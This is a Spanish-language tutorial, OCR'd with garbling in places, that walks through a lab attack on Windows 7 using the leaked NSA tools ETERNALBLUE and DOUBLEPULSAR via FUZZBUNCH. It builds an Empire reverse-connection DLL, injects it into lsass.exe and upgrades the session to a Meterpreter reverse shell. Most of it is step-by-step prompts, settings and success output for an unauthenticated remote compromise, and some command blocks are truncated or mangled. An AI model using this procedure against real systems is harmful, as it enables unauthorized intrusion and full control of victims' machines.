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Introduccion

El 8 de abril de 2017, TheShadowBrokers publicé una gran cantidad de herramientas pertenecientes al
Arsenal de “Hacking tools” de la NSA. Uno de los repositorios de GitHub es el siguiente:
https://github.com/misterchOc/shadowbroker.

En este documento, haremos foco en el exploit para Microsoft Windows llamado ETERNALBLUE y el
plugin DOUBLEPULSAR. Para aprovecharnos de ellos haremos uso de FUZZBUNCH: el “Metasploit” de la
NSA.

éPor qué Eternalblue & DoublePulsar?

Entre los exploits para Windows publicados por TheShadowBrokers, ETERNALBLUE es el Unico que
puede ser usado para atacar Windows 7 y Windows Server 2008 sin necesidad de autenticacién. Luego,
podemos utilizar DOUBLEPULSAR para inyectar remotamente una DLL maliciosa en el equipo
previamente atacado con ETERNALBLUE. Teniendo en cuenta que podemos inyectar la DLL que
gueramos, crearemos mediante Empire, una DLL maliciosa que realice una conexién inversa desde el
equipo victima hacia el equipo atacante.

Preparando el entorno de laboratorio

Necesitamos configurar las siguientes tres maquinas dentro de la misma red LAN:
1. Maquina victima (Windows 7/2008)

Una maquina con Windows 7/2008 sera utilizada como target.

No necesitamos hacer nada adicional en este equipo, simplemente debemos conocer su direccién IP y
asegurarnos que esté encendido cuando realicemos el ataque.

2. Maquina atacante 1 (Windows XP)

A menos que ejecutemos FUZZBUNCH en Linux mediante WINE, vamos a necesitar un Windows XP para
ello. El framework estd desarrollado en Python 2.6 y utiliza PyWin32 en su versidn 2.12 (versién
antigua).

3. Maquina atacante 2 (GNU/Linux)
Finalmente, necesitaremos una instalacién de Linux con Empire y Metasploit.

https://github.com/EmpireProject/Empire

https://www.rapid7.com/products/metasploit/download/

Una alternativa es usar Kali Linux.

La guia de instalacion de estas herramientas esta fuera del alcance de este documento.
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A continuacidn, las configuraciones de nuestro laboratorio:

e Windows 7 SP1 x64 —192.168.1.109 - Target.
e Windows XP SP3 x32 —192.168.1.108 - Atacante con FUZZBUNCH.
e Debian Jessie x64 — 192.68.1.105 = Atacante con Empire y Metasploit.

Inicializando FuzzBunch

Haremos uso de FUZZBUNCH, el “Metasploit” de la NSA. Tal como se menciond antes, este framework
estd desarrollado en Python 2.6 y usa una version antigua de PyWin32, la v2.12.

Con esto en mente, instalaremos las siguientes herramientas en el Windows XP:

e Python 2.6: https://www.python.org/download/releases/2.6/ (agregalo a la variable PATH de
Windows)

e PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/

e Notepad++: https://notepad-plus-plus.org/download/ (Puedes usar simplemente Notepad).

Todos son instaladores ejecutables asi que “siguiente, siguiente, siguiente...”.

Tras instalar lo necesario, podemos abrir un cmd.exe y movernos hasta la carpeta donde descargamos el
leak, puntualmente donde se encuentra FUZZBUNCH: “fb.py” (dentro de la carpeta shadowbroker-
master/Windows) y ejecutar "python fb.py".

Probablemente, en esta primera ejecucion, el script arroje un error debido a que no encuentra el
directorio “ListeningPost”, lo cual ocurre porque dentro del leak, dicha carpeta se encuentra vacia.

Para reparar este error, debemos abrir el script “fb.py” con el Notepad++ y simplemente comentar la
linea 72:

659 addplugins(fb, "Payload", PAYLOAD DIR, EDFPlugin)

70 addplugins (fk, "Touch™, TOUCH_DIR, EDFPlugin)

71 addplugins(fb, "ImplantConfig”™, IMPLANT DIR, EDFPlugin)

72 #addplugins (fh, "ListeningPost”, LP_DIR, EDFPlugin)

73 addplugins (fk, "Special”, SPECIAL DIR, DAVEPlugin, DepleoyableManagsr)

Adicionalmente, debemos abrir el archivo Fuzzbunch.xml de la misma carpeta y reemplazar las rutas de
las lineas 19 y 24 por rutas que existan en nuestro sistema, por ejemplo:

16 <t:parameter name="ResourcesDir"

17 description="Absolute path of the Resources Directory"

18 type="String"

12 default="C: \NSE\Leak\shadowbroker-master\windows\Resources"/ >
=0

21 <t:parameter name="LogDir"

22 description="Absolute path of an Initial Log Directory"

23 type="String"

24 default="C: \NSE\Leak\shadowbroker-master\windows\Logs"/ >

Z5
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Ahora si, ejecutamos nuevamente desde la terminal el comando "python fb.py"y deberiamos ver a
FUZZBUNCH ejecutandose correctamente:

C:\Documents and Settingsi\Sheila>cd C:\NSA\L eakhshadowbroker-masterswindows

C: \NSAMLeaksshadowbroker—-master\swindows>python Th.py

—[ Version 3.5.1

Loading Plugins

Initializing Fuzzbunch v3.5.1

Adding Global VYariables

Set ResourcesDir => C:\NSA\Leak\shadowbroker-master\windows\Resources
Set Color => True

Set ShowHiddenParameters => False

Set NetworkTimeout => 60

Set LogDir => C:\NSA\Leak\shadowbroker-master\windows\Logs

Autorun ON

) 1 1 1 ) 1
R

S

Cuando iniciamos FUZZBUNCH se nos pregunta la IP del target, alli debemos indicar la IP del Windows
7/2008 que esté actuando como equipo victima.

Inmediatamente después, se nos pide la IP de callback, la cual seria la IP del Windows XP (Atacante).

[+#] Retargetting Session

Default Target IP Address [1 : 192.168.1.109
Default Callback IP Address [1 : 192.168.1.108
Use Redirection [yes]l : no

Presionamos “enter” para continuar y se nos pedira indicar un nombre al proyecto, en mi caso como se
puede ver en la siguiente imagen, utilicé el que ya tenia creado “eternall”. Si no tienes ninguno, al
presionar “enter” se te pedird un nombre. Con ese dato se creard la carpeta de logs para ese proyecto.

Base Log directory [C:\NSA\lLeak\shadowbroker-master\windows\lLogs] :
[=] CheckiBg C:\NSA\Leak\shadowbroker-master\windows\Logs for projects
roject

eternall
Create a New Project

Project [B] :

Set target log directory to 'C:\NSA\lLeak\shadowbroker-master\windows\lLogs\et
ernalliz192.168.1.109°7 [Yes] :

[«] Initializing Global State
+] Set TargetIp => 192.168.1.109
+] Set CallbackIp => 192.168.1.108

Redirection OFF
[i]lggt LogDir => C:\NSA\Leak\shadowbroker-master\windows\Logs\eternalli\z192.168

[+] Set Project => eternall
b >
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Atacando Windows 7/2008 con EternalBlue

El primer paso es seleccionar el exploit que vamos a usar, que es ETERNALBLUE, para ello ejecutamos:
“use EternalBlue” en la terminal de FUZZBUNCH.

fb > use EternalBlue

Entering Plugin Context :: Eternalblue
Applying Global VYariables

Set MetworkTimeout => 60

Set TargetIp => 192.168.1.109

Applying Session Parameters
Running Exploit Touches

Enter Prompt Mode :: Eternalblue

60
192.168.1.169
445
True
True
MaxExploitAttempts 3
GroomAllocations 12
Target HIN72K8R2

A partir de aqui, dejaremos con su configuracién por defecto todos los pardmetros que FUZZBUNCH nos
pregunte, EXCEPTO el siguiente:

Preparing to Execute Eternalblue
[*] Mode :: Delivery mechanism

=@) DANE Forward deployment wvia DARINGNEOPHYTE

1) FB Traditional deployment from within FUZZBUNCH

Mode [B] : 1
[+] Run Mode: FB

En ese paso, cambiamos el modo a 1.
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Finalmente, se nos preguntara si deseamos ejecutar ETERNALBLUE.

HIN72K8R2

Execute Plugin? [Yes] : ves

Executing Plugin

Connecting to target for exploitation.

[+] Connection established for exploitation.

Pinging backdoor. ..

[+] Backdoor not installed, game on.

Target 05 selected valid for 05 indicated by SHB reply

CORE raw buffer dump (28 bytes):
000000000 57 69 6e 64 6F 71 13 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
000000010 73 69 6f 6e 61 6¢c 20 37 36 30 30 60 sional 7600.

Building exploit buffer

Sending all but 6Sﬁé fragment of exploit packet

Sending SHB Echo request

Good reply from SMB Echo request
Starting non-paged pool grooming
[+] Sending SMBv2 buffers

[+] Sending large SMBul buffer..DONE.

[+] Sending final SHBv2 buffers

[+] Closing SMBvl connection creating free hole adiacent to SHBv2 buffer.
Sending SMB Echo request

Good reply from SHMB Echo request

Seﬂging last fragment of exploit packet!

Receiving response from exploit packet

[+]1 ETERNALBLUE overwrite completed successfully {0xC000000D)!
Sending egg to corrupted connection.

Triggering free of corrupted buffer.

Pinging backdoor.

[+]1 Backdoor returned code: 10 - Success!

[+]1 Ping returned Target architecture: =64 (6&4-bit)

[+] Backdoor 1nstalled

[ 1 CORE sent Serlallzed output blob (2 bytes):
0x00000000 08 00

[=] Received output parameters from CORE

[+] CORE terminated with status code 0xB0000000

[+] Eternalblue Succeeded

Si todo salié bien, veremos al final el mensaje “Eternalblue succeeded”.
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Creando una DLL maliciosa con Empire

El siguiente paso es aprovechar DOUBLEPULSAR para inyectar remotamente una DLL maliciosa en el
sistema impactado previamente con ETERNALBLUE. Para ello, debemos en primer lugar, crear la DLL.
Por lo tanto, nos mudamos para el Linux donde tenemos instalado el framework Empire y realizamos los
siguientes pasos:

Paso 1: Crear un listener que reciba la conexidn inversa al inyectarse la DLL

Name
KillDate

(Empire: listeners)

Nota: La direccion IP que debemos setear en el pardmetro “Host” es la del propio Linux.

Paso 2: Crear la DLL maliciosa

(Empire:
(Empire:
(Empire:

[*] Stager output written out to: /tmp/launcher.dll

(Empire: stager/dll) = |

En este punto, ya tenemos nuestra DLL maliciosa en /tmp/launcher.dll.

Simplemente debemos copiarla a la maquina atacante con Windows XP para poder usarla con
FUZZBUNCH.
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Inyectando la DLL maliciosa via DoublePulsar

Volvemos al Windows XP y ejecutamos “use DoublePulsar” en la terminal de FUZZBUNCH.

fb Special (Eternalblue) > use DoublePulsar

Entering Plugin Context :: Doublepulsar
Applying Global Variables

Set NetworkTimeout => 60

Set TargetIp => 192.168.1.109

Applying Session Parameters

Enter Prompt Mode :: Doublepulsar

NetworkTimeout

Targetlp 192.168.1.169
TargetPort 445
OutputFile

Protocol SMB
Architecture %86

Function OutputInstall

Nuevamente dejaremos con el valor por defecto todos los parametros que FUZZBUNCH nos pregunte,
hasta llegar a lo siguiente:

[«] Architecture :: Architecture of the target 0S

=0) =86 %86 32-bits
1) =64 w64 64-bits

Architecture [0] : 1
[+] Set Architecture => w64

[«] Function :: Operation for backdoor to perform

=@) OutputInstall Only output the install shellcode to a binary file on d
isk.
1) Ping Test for presence of backdoor
2} RunDLL Use an APC to inject a DLL into a user mode process.
3) RunShellcode Run raw shellcode
4) Uninstall Remove's backdoor from system

Function [0] : 2
Set Function => RunDLL

DI11Payload :: DLL to inject into user mode

DI11Payload [1 : SA\Leak owbroker ma:ter\windows\lguncher.dll

Set D11Payload \NSA\Leak\shadowbroker-master\windows\launcher.d. .. [[plu

haracters)

D110rdinal :: The exported ordinal number of the DLL being injected to call

D110rdinal [1] : 1

1 Name of process to inject into

CommandLine :: Command line of process to inject into
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Alli debemos seleccionar correctamente la arquitectura del Windows 7/2008 que vamos a impactar, en
mi caso es x64. Luego lo mds importante: indicar que deseamos realizar una inyeccién DLL (Opcidén 2 —
RunDLL).

Seguido a esto, se nos pedira indicar la ruta local donde se encuentra la DLL en cuestidn, la cual, es la
gue generamos con Empire y ya debemos tenerla copiada en este equipo para usarla ahora con
FUZZBUNCH. El resto de los parametros los dejamos con las configuraciones por defecto.

Finalmente, se nos pregunta si deseamos ejecutar DOUBLEPULSAR.

Preparing to Execute Doublepulsar
[%] Redirection OFF

[+] Configure Plugin Local Tunnels

[+] Local Tunnel - local-tunnel-1
Destination IP [192.168.1.109]
Destination Port [445] :

[+] (TCP) Local 192.168.1.109:445

[+] Configure Plugin Remote Tunnels

Value

60
192.168.1.1689
445

D11Payload Ei\NSH\Leak\Shadowbroker—master\windows\launcher.d
D110rdinal 1

ProcessName lsass.exe

ProcessCommandLine

Protocol SMB

Architecture xb6h

Function RunDLL

Execute Plugin? [Yes] : yes
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Y si todo salié bien...

Selected Protocol SHMB
Connecting to target...
Connected to target, pinging backdoor. ..
[+] Backdoor returned code: 10 - Success!
[+]1 Ping returned Target architecture: =64 (64-bit) - XOR Key: OxFE2ABAF

SHMB Connection string is: Windows 7 Professional 7600
Target 0§ is: 7 xbh

Target SP is: 0

1 Backdoor installed

1 DLL built

1 Sending shellcode to inject DLL

1 Backdoor returned code: 10 - Success!

1 Backdoor returned code: 10 - Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code: Success!

1 Backdoor returned code:
1 Backdoor returned code:
1 Backdoor returned code:
1 Backdoor returned code:
1 Backdoor returned code:
1 Backdoor returned code:
1 Backdoor returned code:
1 Backdoor returned code:

1 Backdoor returned code:

1 Backdoor returned code:

1 Backdoor returned code:

1 Backdoor returned code:

1 Backdoor returned code: Success!
1 Backdoor returned code: Success!
1 Backdoor returned code: - Success!
1 Command completed successfully
pulsar Succeeded

Success!
Success!
Success!
Success!
Success!
Success!
Success!
Success!
Success!
Success!
Success!
Success!
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[+]1 Double

Obtendremos el mensaje “Doublepulsar Succeded”.
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Obteniendo la sesion de Empire

Mientras tanto en la maquina con Linux donde tenemos el listener de Empire, recibimos la conexién
inversa:

(Empire: stager/dll) = [+] Initial agent 1TWXHGHHWZHLSSV4 from 192,168.1,109 now active

(Empire: sta

[*]1 Active agents:

That’s all, YOU WIN!
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Migrando a Meterpreter

Empire nos permite ejecutar en la maquina victima practicamente las mismas cosas que el meterpreter
de Metasploit. Sin embargo, podemos hacer la migracidon desde el agente de Empire al listener de
Meterpreter muy facilmente.

Paso 1: Configurar el listener de Meterpreter

meterpreter/reverse _https

”

5: code execution/i
~: code executl
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Paso 3: Obtener la sesion de Meterpreter

msft exploit|

(UUID:
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Palabras finales...

Finalmente, hemos obtenido una shell de Meterpreter sobre un Windows 7 SP1 x64 sin necesidad de
interaccion del usuario de este equipo, tan solo con conocer su IP. Esto me recordd a la facilidad con la
gue se obtiene el acceso a un Windows XP mediante el ms08_067.

Un detalle curioso es que, segun el TimeStamp de ETERNALBLUE, la NSA tenia esto desde el 2011...
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